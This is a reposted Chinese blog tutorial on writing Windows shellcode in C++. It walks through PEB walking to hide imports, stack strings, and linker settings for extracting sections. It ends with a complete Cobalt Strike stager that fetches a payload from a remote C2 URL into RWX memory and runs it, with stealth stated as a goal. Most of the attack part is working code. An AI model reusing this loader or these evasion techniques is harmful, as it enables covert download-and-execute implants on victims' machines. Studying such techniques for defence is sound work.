【C++安全】C++ 直接编写 Shellcode 和使用常量字符串

news/2025/1/15 1:04:47/文章来源:https://www.cnblogs.com/o-O-oO/p/18671976

免责声明:

该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

一、基础知识1. PE 文件的基本结构和作用2. PE 文件加载流程3. 章节总结
二、编写 MessageBox Shellcode1. 开始2. 完全隐藏导入表3. 栈字符串4. 生成真正的 shellcode
三、Shellcode 编写进阶1. 原因2. 设置对齐3. 使用常量字符串和全局常量4. 使用优化压缩
四、编写 Stager
五、问题答疑环节
最后

以下文章来源于锦鲤安全 ,作者四五qq

使用 VS 通过 C++ 快速简单的编写 Shellcode,并且直接在 Shellcode 中使用常量字符串、全局变量。
本篇包含以下知识点:

  • PE 基础和 Shellcode 编写原理
    
  • PEB 攀爬完全隐藏导入表
    
  • 编写一个与 MessageBox 的 Shellcode
    
  • 在 Shellcode 中使用全局字符串和常量、变量
    
  • 使用优化压缩 Shellcode 的大小
    
  • 编写一个 CS Stager 的 Shellcode
    

一、基础知识

Shellcode 本质就是一段与位置无关的汇编代码。要将 C++ 代码变成 shellcode,首先需要了解一下 PE 文件结构和加载流程。

1. PE 文件的基本结构和作用

PE 文件的基本结构和作用如下图,.text section 中保存了 C++ 的汇编代码。

要将 C++ 代码变成 shellcode,一般的方法就用与位置无关的方式来编写 C++ 代码,编译后把 .text section 提取出来就是我们要的 shellcode 了:

由于只提取了 .text section,没有其它 section,意味着不能在 C++ 代码中使用全局字符串、全局常量和变量,shellcode 编写起来比较麻烦。当然,后面会教大家如何解决这些问题,在 shellcode 中使用全局字符串和全局变量。

2. PE 文件加载流程

PE 文件加载的主要流程如下:

将 PE 文件按照内存结构重新映射进内存中:PE Header 和各个 Section 按照内存偏移映射到内存中
修复导入表:我们引用的各种 Windows api 会出现在导入表中,在加载时经过修复之后才能调用
修复重定向表:开启了随机基址之后会构建一张导入表,在加载时通过该表对各个地址进行重定向修正
修复 tls 重定向、修复 C++ 异常、延迟导入表
执行入口点

我们直接执行 PE 文件时,这些加载流程是系统自动帮我们加载的,由于我们要编写 shellcode,这些加载步骤都要能省则省,如果都不省略就是 pe 转 shellcode 了,这样就与直接用 pe2shc 没多少区别了,pe2shc 通过在 pe 文件后面加一个引导头的 shellcode 来完成PE 文件的加载流程(完成了 1、2、3、5 的步骤)实现 exe 转 shellcode 的效果。
我们要编写与位置无关的 shellcode,因此直接省略 1-4 步骤,操作如下:

避免重新映射:直接提取 .text section 作为 shellcode
避免导入表:在 C++ 代码中避免直接使用任何 Windows API,改成通过 PEB 攀爬动态获取 API
避免重定向表:在链接器中关闭随机基址
避免 tls 重定向、修复 C++ 异常、延迟导入:在 C++ 代码中避免使用 tls 和 C++ 异常处理,不使用延迟导入
执行入口点:入口点则为 main 函数,为保证 shellcode 能正常执行,main 函数必须是在 shellcode 的开头

对于第1点,如下图显示了PE 文件磁盘与内存结构的区别,由于PE 文件磁盘与内存结构不同,因此 PE 加载时需要经过重新映射:

PE 在磁盘中的文件对齐是 0x200,因此 PE Header 和各个 secion 的大小都必须是 0x200 的倍数,而 PE 在内存中的对齐是 0x1000,在内存中PE Header 和各个 secion 的大小都必须是 0x1000 的倍数。

文件对齐和内存对齐的不同导致了 PE 加载时需要重新映射,重新映射后会在 section 中产生间隙。当然,.text section 后面的间隙本质上还是属于 .text section

我们直接提取了 .text section,没有其它结构,以此避免重新映射。

3. 章节总结

对前面两小节的内容进行一下总结,C++ 编写 shellcode 时需要注意的事项:

不能使用导入表,在 C++ 代码中使用的所有 Windows API 需要通过 PEB 攀爬动态获取
不能在 C++ 代码中使用全局字符串、全局常量和变量
在 C++ 代码中避免使用 tls 和 C++ 异常处理,不使用延迟导入
将 main 函数设置为入口点并处于 shellcode 开头
编译时关闭随机基址,避免 shellcode 需要重定向
编译后提取 .text section 即为我们的 shellcode

二、编写 MessageBox Shellcode

1. 开始

VS 直接开始新建一个控制台工程,写一个 MessageBox:


#include <iostream>
#include <Windows.h>int main()
{MessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}

运行一下没问题,然后开始改造:

然后我们修改该代码改成使用 GetModuleHandleW 和 GetProcAddress 动态获取 API:

1、通过 GetModuleHandle 获取 Kernel32 模块地址

2、使用 GetProcAddress 从 Kernel32 模块中获取 LoadLibraryA、GetProcAddress 函数地址

3、通过获取的 LoadLibraryA 函数加载 User32 模块

4、再从 User32 中获取 MessageBoxA 函数地址

获取到 lpLoadLibraryA 和 lpGetProcAddress 函数地址后,我们就可以通过这两个函数来动态获取其它任何函数的地址了。

#include <iostream>
#include <Windows.h>typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR lpLibFileName);
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef int (WINAPI* pMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);int main()
{HMODULE hKernel32 = GetModuleHandleW(L"Kernel32.dll");auto lpLoadLibraryA = (pLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA");auto lpGetProcAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");HMODULE hUser32 = lpLoadLibraryA("User32.dll");auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}

这里需要注意一下,使用 GetProcAddress 函数获取了它自身的地址是为了方面后面的完全隐藏导入表。

运行一下没问题,开始进入下一阶段:

2. 完全隐藏导入表

前一节中,通过 GetModuleHandle 和 GetProcAddress 函数动态获取函数地址,隐藏了部分 api,但是还有 GetModuleHandle 和 GetProcAddress 函数没有隐藏,下面我们自己实现,GetModuleHandle 函数和 GetProcAddress 函数,通过 PEB 攀爬完全隐藏导入表。
首先通过 PEB 攀爬获取 Kernel32 模块的基址,原理如下图:

在线程的线程环境块(TEB)中的 ProcessEnvironmentBlock 字段保存了进程环境块(PEB)地址,然后 PEB 的 Ldr 字段保存了加载到进程中模块的链表,我们通过遍历该链表即可获取到 kernel32 模块的地址,原理很简单。
通过 TEB 获取 PEB,再取得 Ldr 链表,我们就可以自己实现 GetModuleHandle 函数,x86 位线程的 TEB 保存在 fs 段中,x64 线程的 TEB 保存在 gs 段中:

BOOL wcmp(PCWSTR str1, PCWSTR str2) {for (int i = 0, s1, s2; str1[i] != 0 && str2[i] != 0; i++) {s1 = str1[i];s2 = str2[i];if (s1 >= 'A' && s1 <= 'Z') {s1 += 32;}if (s2 >= 'A' && s2 <= 'Z') {s2 += 32;}if (s1 != s2) {return FALSE;}}return TRUE;
}HMODULE SelfGetModuleHandle(LPCWSTR lpModuleName)
{
#ifndef _WIN64PPEB peb = (PPEB)__readfsdword(0x30); // x86 的 PEB 在 fs 段的 0x30 处取得
#elsePPEB peb = (PPEB)__readgsqword(0x60); // x64 的 PEB 在 gs 段的 0x60 处取得
#endifPLIST_ENTRY Hdr = &peb->Ldr->InLoadOrderModuleList;PLIST_ENTRY Ent = Hdr->Flink;for (; Hdr != Ent; Ent = Ent->Flink){PLDR_DATA_TABLE_ENTRY Ldr = (PLDR_DATA_TABLE_ENTRY)(Ent);if (wcmp(Ldr->BaseDllName.Buffer, lpModuleName)){return (HMODULE)Ldr->DllBase;};};return NULL;
};

这里不建议用汇编,能用 C++ 写就直接用 C++ 写,不要在其中穿插汇编,没有什么意义,某些培训班出来的就喜欢在这里穿插一段汇编,一套代码传千年。
下面我们要自己实现 GetProcAddress 函数,流程如下图:

我们通过自己实现的 SelfGetModuleHandle 函数获取得 Kernel32 函数的基址后,基址实际上指向 DOS Header,通过 DOS Header 获取到 NT Header 偏移,通过NT Header 获取到 Optional Header,再通过 Optional Header 的 DataDirectory 数组获取到导出表,通过导出表下的三个数组,AddressOfNames 函数名数组、AddressOfFunctions 函数地址数组、AddressOfNameOrdinals 函数名索引地址数组,即可遍历导出函数。
获取到导出表的三个数组后,首先遍历AddressOfNames 函数名数组,通过字符串比较获取函数名在该数组中的索引 x,然后通过 AddressOfNameOrdinals[x] 即可取得地址索引 y,通过 AddressOfFunctions[y] 即可获取得函数在 kernel32 模块中的导出地址偏移 RVA 了,之后通过 kernel32 基址加上该 RVA 即可得到函数的实际地址了:

BOOL cmp(PCSTR str1, PCSTR str2) {for (int i = 0, s1, s2; str1[i] != 0 && str2[i] != 0; i++) {s1 = str1[i];s2 = str2[i];if (s1 >= 'A' && s1 <= 'Z') {s1 += 32;}if (s2 >= 'A' && s2 <= 'Z') {s2 += 32;}if (s1 != s2) {return FALSE;}}return TRUE;
}FARPROC SelfGetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{PIMAGE_DOS_HEADER Hdr = (PIMAGE_DOS_HEADER)hModule;PIMAGE_NT_HEADERS Nth = (PIMAGE_NT_HEADERS)((DWORD_PTR)Hdr + Hdr->e_lfanew);PIMAGE_DATA_DIRECTORY Dir = &Nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];if (Dir->VirtualAddress){PIMAGE_EXPORT_DIRECTORY Exp = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)Hdr + Dir->VirtualAddress);PDWORD Aon = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfNames);PDWORD Aof = (PDWORD)((DWORD_PTR)Hdr + Exp->AddressOfFunctions);PWORD Aoo = (PWORD)((DWORD_PTR)Hdr + Exp->AddressOfNameOrdinals);for (ULONG Idx = 0; Idx < Exp->NumberOfNames; ++Idx){if (cmp((PCSTR)((DWORD_PTR)Hdr + Aon[Idx]), lpProcName)){return (FARPROC)((DWORD_PTR)Hdr + Aof[Aoo[Idx]]);};};};return NULL;
};

之后将 main 函数中的 GetModuleHandle 和 GetProcAddress 改成我们自己实现的 SelfGetModuleHandle 和 SelfGetProcAddress 函数:

int main()
{HMODULE hKernel32 = SelfGetModuleHandle(L"Kernel32.dll");auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");HMODULE hUser32 = lpLoadLibraryA("User32.dll");auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}

OK,现在没有自己调用任何 Windows API,完全隐藏所有导入表了:

运行一下 OK:

3. 栈字符串

下面要处理一下常量字符串,现在用的字符串是保存在 .rdata 中的常量字符串,我们需要改成栈字符串,以将字符串保存到 .text 中,将字符串改成函数内数组就会以栈保存了,当然,只有一定长度内的数组才会以栈保存,大概是长度 255 以内的数组,超过这个长度就会保存在 .data 段中了:

__declspec(code_seg(".text$A")) int main()
{wchar_t sKernel32[] = { 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };HMODULE hKernel32 = SelfGetModuleHandle(sKernel32);char sLoadLibraryA[] = { 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00 };auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, sLoadLibraryA);char sGetProcAddress[] = { 0x47, 0x65, 0x74, 0x50, 0x72, 0x6f, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00 };auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, sGetProcAddress);char sUser32[] = { 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };HMODULE hUser32 = lpLoadLibraryA(sUser32);char sMessageBoxA[] = { 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x41, 0x00 };auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, sMessageBoxA);char hello[] = { 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0xbd, 0xf5, 0xc0, 0xf0, 0xb0, 0xb2, 0xc8, 0xab, 0xa3, 0xa1, 0x00 };lpMessageBoxA(NULL, hello, hello, MB_OK);
}

使用调试器反汇编看一下,可以发现字符串已经变成一条条的 mov 汇编指令了:

但是现在生成的还不是 shellcode,进入下一阶段,生成真正的 shellcode

4. 生成真正的 shellcode

先调成 release 模式:

回顾一下前面章节总结中的几点:

发现 1、2、3 点我们已经完成了,现在需要将 main 函数设置为入口点,并设置为 shellcode 开头。
通过编译器指令 code_seg,将 main 函数设置为 shellcode 的开头:

__declspec(code_seg(".text$A")) int main {}

这段指令的意思是将 main 函数编译时放的 .text 区段的最前面,$ 后面的字母越大越靠前,这里没有其它 code_seg 指令,所以 A 就是最大的了:

然后在链接器高级中将入口点改成 main 函数:

到这里第4点就完成了。
然后再将下面的随机基址改成否完成第5点:

再将一些无用配置给关掉,避免生成一些无用代码影响 shellcode 执行,运行库改成 MT 模式,禁用安全检查:

关闭优化:

关闭调试:

关闭清单:

调完,生成:

使用 PE-bear 看一下,可以发现 .text 开头就是我们的 main 函数,那一串 mov 就是我们的栈字符串:

最后一步提取 shellcode,使用 010editor 选中我们的 .text 区段右键保存为 Save Selection:

保存的这个 2KB 文件就是我们的 shellcode 了:

使用 pe2shc 项目下的 runshc64 测试一下 shellcode,成功弹出:

为测试是否真的与位置无关,我们使用 win2012 的 vps 进行测试,shellcode 运行成功:

三、Shellcode 编写进阶

1. 原因

回顾一下基础知识,聪明的你一定发现了,我们之所以不能在 shellcode 中使用常量字符串和全局常量和变量是因为我们只提取了 .text 区段作为 shellcode,如果我们把 .rdata .data 区段带上不就能在 shellcode 中使用常量字符串和全局常量、变量了吗?
理论是这样的,没错!聪明的你凭借足够深度 PE 知识自然想到了,我们之所以不能带上 .rdata.data 区段,是因为文件对齐和内存对齐的不同,导致如果带上其它区段则需要在内存中按照内存偏移重新映射:

如果文件对齐与内存对齐相同,则不就避免了内存的重新映射的问题了吗?此时可以带上 .rdata 与 .data 区段而不需要重新申请一块更大的内存就行重新映射,实现了在编写 C++ 代码时使用常量字符串和全局常量、变量,大大减少了编写 shellcode 的一个麻烦:

当然,我们一般只使用常量字符串和全局常量,不使用全局变量,因为使用全局变量意味着执行 shellcode 时需要使用 rwx 权限,我们为了隐蔽性应该尽量避免 rwx 权限。由于不使用全局变量,所以我们只需要携带 .text 和 .rdata 两个区段就足够了。

2. 设置对齐

那么该怎么设置文件对齐和内存对齐呢?
聪明的你一下就找到了方法,通过在【链接器】⏩【高级】⏩ 【部分对齐方式】中将值设置为 512 即可:

然后使用 PE-bear 查看,可以发现文件对齐和内存对齐都被设置为了 0x200:

这里会看得更明显,文件中的地址和内存中的地址都是一样的:

接下来只需要提取处 .text.rdata 就是我们的 shellcode 了。
使用 010 editor 选择 .text 的开始地址和 .rdata 的结束地址,右键保存为 Save Selection:

3. 使用常量字符串和全局常量

将字符串改回常量字符串,还有一个全局常量字符串,这个是为了演示的全局常量的需要:

const wchar_t sKernel[] = L"Kernel32.dll";__declspec(code_seg(".text$A")) int main()
{HMODULE hKernel32 = SelfGetModuleHandle(sKernel);auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");HMODULE hUser32 = lpLoadLibraryA("User32.dll");auto lpMessageBoxA = (pMessageBoxA)lpGetProcAddress(hUser32, "MessageBoxA");lpMessageBoxA(NULL, "hello, 锦鲤安全!", "hello, 锦鲤安全!", MB_OK);
}

生成之后提取 .text 和 .rdata 段即可,为了减少 shellcode 的大小,将后面的 00 字节删除:

4. 使用优化压缩

我们可以使用优化进一步压缩 shellcode 大小,使用 O1 优选大小优化:

之后重新提取 shellcode 并删除末尾空字节和一些无用字节,可以进一步压缩到 600 字节:

四、编写 Stager

Stager 加载流程就这,一个远程加载器,没什么可讲的:

根据流程编写 Starger 代码如下,为了生成的 shellcode 尽可能的小,使用了最简单的方式进行加载:

const char url[] = "http://x.x.x.x:80/api/v1/pres";__declspec(code_seg(".text$A")) int main()
{HMODULE hKernel32 = SelfGetModuleHandle(L"Kernel32.dll");auto lpLoadLibraryA = (pLoadLibraryA)SelfGetProcAddress(hKernel32, "LoadLibraryA");auto lpGetProcAddress = (pGetProcAddress)SelfGetProcAddress(hKernel32, "GetProcAddress");auto lpVirtualAlloc = (pVirtualAlloc)lpGetProcAddress(hKernel32, "VirtualAlloc");HMODULE hWininet = lpLoadLibraryA("Wininet.dll");auto lpInternetOpenA = (pInternetOpenA)lpGetProcAddress(hWininet, "InternetOpenA");auto lpInternetOpenUrlA = (pInternetOpenUrlA)lpGetProcAddress(hWininet, "InternetOpenUrlA");auto lpInternetReadFile = (pInternetReadFile)lpGetProcAddress(hWininet, "InternetReadFile");HINTERNET hInternet = lpInternetOpenA(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);HINTERNET hUrl = lpInternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);if (hUrl) {DWORD content_len = 1024 * 1024 * 5;PUCHAR buf = (PUCHAR)lpVirtualAlloc(0, content_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);DWORD nread;lpInternetReadFile(hUrl, buf, content_len, &nread);if (nread) {((void(*)())buf)();}}
}

url 路径填 c2profle 中的 http-stager.uri_x64,注意 output 中不要加 prepend 前缀或后缀,否则 C++ 代码中也得做相应的处理:

最终提取 shellcode 大小如下,比原版 stager 略大一点:

在 vps 上测试成功上线:

五、问题答疑环节

1、自己实现了 SelfGetProcAddress 函数为什么还要再获取 GetProcAddress 函数地址来获取其它函数?
细心的同学可以发现我们自己用 SelfGetProcAddress 获取 GetProcAddress 函数地址,再用获取的 GetProcAddress 地址获取其它函数,为什么不一直使用 SelfGetProcAddress 函数?

当然是可以一直使用 SelfGetProcAddress 函数来获取其它函数的,但是自己实现的 SelfGetProcAddress 并没有处理所有情况,比如转发导出,即一个 dll 的导出函数实际上是指向另一个 dll 的导出函数,这种时候就会出现异常,当然获取大多少函数的时候是没问题的。
2、Shellcode 中可以使用全局变量吗?
Shellcode 中是可以使用全局变量的,虽然我没有演示,但道理是一样的,不过变量保存在 .data 中,这意味着要多提取一个区段将会导致 shellcode 增加 0x200 字节的大小,不过我们可以通过链接器指令强制将变量保存在 .rdata 以避免增加一个区段的大小。
3、Shellcode 为什么要避免空字节?

可以使用空字节,不知道哪流传出来的写 shellcode 不能有空字节节...,除了某些利用缓冲区溢出漏洞利用的是 strcpy 等函数注入 shellcode 之外,大部分时候是不需要避免空字节的。
最后

本篇文章主要是以自己对 PE 的理解以自己的方式来编写 Shellcode。在 shellcode 中使用常量字符串在国外早有这一方面研究的文章了,但是国内还没有这一方面的文章,因此自己来写一篇。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/869329.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Easysearch Rollup 使用指南

背景 在现代数据驱动的世界中,时序数据的处理变得越来越重要。无论是监控系统、日志分析,还是物联网设备的数据收集,时序数据都占据了大量的存储空间。随着时间的推移,这些数据的存储成本和管理复杂度也在不断增加。 为了解决这一问题,Rollup 技术应运而生。本文将带你深入…

.NET 数据拷贝方案选择

应用中我们经常使用到数据的复制,在.NET中有多种方式可以实现复制数据或对象。选择哪种方式通、是浅拷贝还是深拷贝,取决于对象的复杂性、数据量以及具体需求场景。1. MemberwiseClone拷贝 浅拷贝 Object.MemberwiseClone 方法 (System) | Microsoft Learn,指针对对象执行非…

1.14 eclipse配置spring

今天完成了eclipse配置springboot eclipse本身并没有spring项目,需要在eclipse市场下载插件选择tool4安装安装完成等待eclipse加载,全部安装完成后即可创建spring项目

英语语法(标点符号:逗号和撇号)

结束句子的三种方法 认识逗号

深入浅出:Agent如何调用工具——从OpenAI Function Call到CrewAI框架

深入浅出:Agent如何调用工具——从OpenAI Function Call到CrewAI框架 嗨,大家好!作为一个喜欢折腾AI新技术的算法攻城狮,最近又学习了一些Agent工作流调用工具的文章,学完之后,我真的是“啊这”,一边感慨AI技术的强大,一边觉得自己打开了新世界的大门。于是,我决定写这…

在Ubantu中安装pycharm

1.下载pycharm linux版,我下载的是2022.3.3专业版 2. 更改host文件,输入: sudo gedit /etc/hosts在弹出的文件中的末尾加以下代码: 0.0.0.0 account.jetbrains.com3.激活pycharm: 将pycharm补丁jet-netfilter拷入ubantu中某一路径(注意是整个文件夹放进去,不要只放jar包…

docker-compose自动部署go项目全流程,本地到镜像仓库到服务器,踩坑笔记

声明:个人所学记录,有可以改进的地方希望不吝指教 Dockerfile # 使用golang官方镜像作为构建环境 FROM golang:1.23-alpine AS builder# 设置工作目录 WORKDIR /app# 设置环境变量镜像变量 ENV GO111MODULE=on ENV GOPROXY=https://goproxy.cn,direct# 复制go.mod 和 go.sum文…

docker部署d2l环境

编写dockerfile # 使用NVIDIA提供的CUDA基础镜像,包含CUDA 11.8.0和cuDNN 8,基于Ubuntu 22.04 FROM nvidia/cuda:11.8.0-cudnn8-devel-ubuntu22.04 # 设置维护者信息 MAINTAINER watcherprime <woma@126.com># 设置环境变量,包括时区、非交互式前端和PATH变量 ENV TZ=…

【TCP协议】TCP Keepalive 指南

1、什么是 TCP Keepalive?TCP Keepalive 是一种 TCP 协议内置的探测机制,用于检测长时间未活动的连接是否仍然存活。当启用了 Keepalive 后,TCP 会在连接空闲一定时间后,定期向对端发送探测包,如果未收到对端的响应,则会尝试多次探测,最终关闭连接。 用途: 检测并清理死…

《CPython Internals》阅读笔记:p151-p151

《CPython Internals》学习第 9天,p151-p1510 总结,总计 1 页。 一、技术总结 无。 二、英语总结(生词:1) 1.marshal (1)marshaling Marshalling or marshaling(US spelling) is the process of transforming the memory representation of an object into a data form su…

# vm逆向

vm逆向 虚拟机逆向与实现-CSDN博客 对上面博客的总结。 引 vm逆向题,一般是小型虚拟机程序,可以理解为一种模拟器,有start,dispatcher,opcode等结构。常见使用while-switch/if这类循环+选择结构来实现简单的虚拟机模拟,如下:逆向重点:分析入口,搞清输入和opcode的位置理…

【Gossip 协议】Redis 集群中节点之间的通信方式?

# 分布式系统 # Gossip 协议 在分布式系统中,不同的节点进行数据/信息共享是一个基本的需求。 一种比较简单粗暴的方法就是 集中式发散消息,简单来说就是一个主节点同时共享最新信息给其他所有节点,比较适合中心化系统。这种方法的缺陷也很明显,节点多的时候不光同步消息的…